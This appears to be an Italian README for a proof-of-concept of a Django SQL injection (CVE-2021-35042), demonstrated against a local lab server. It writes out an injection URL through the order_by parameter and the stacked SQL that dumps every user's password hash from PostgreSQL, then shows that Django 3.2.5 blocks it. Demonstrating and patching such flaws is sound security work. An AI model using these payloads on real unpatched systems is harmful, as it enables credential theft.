r4vi/cve-2021-35042Interattivo proof-of-concept che dimostra l'iniezione SQL in Django (CVE-2021-35042) con sfruttamento passo-passo contro database SQLite e PostgreSQL.
Bug di SQL injection in Django
Domanda: esploriamo quanto è sfruttabile?
Risposta: sono terrorizzato
poetry install
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py runserver
vai su http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
nota che il parametro ?order_by sta passando un riferimento SQL grezzo a una
colonna "core_things_tags"."things_id"
Questo sembra più o meno il massimo che si possa ottenere: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- che chiude la prima query SQL e si traduce nel seguente SQL:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
che fallisce con:
Warning at /
You can only execute one statement at a time.
questo è semplicemente perché sqlite può eseguire solo 1 query alla volta
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
poetry run ./manage.py migrate
poetry run ./manage.py loaddata dummydata.json
poetry run ./manage.py createsuperuser # follow prompts
che esegue il seguente SQL:
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
ora puoi fare praticamente qualsiasi cosa. Questa query ruba l'hash della password di ogni utente.
ora aggiorna temporaneamente django
poetry shell
pip install Django==3.2.5
rivisita l'URL sopra e nota che non funziona più:
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags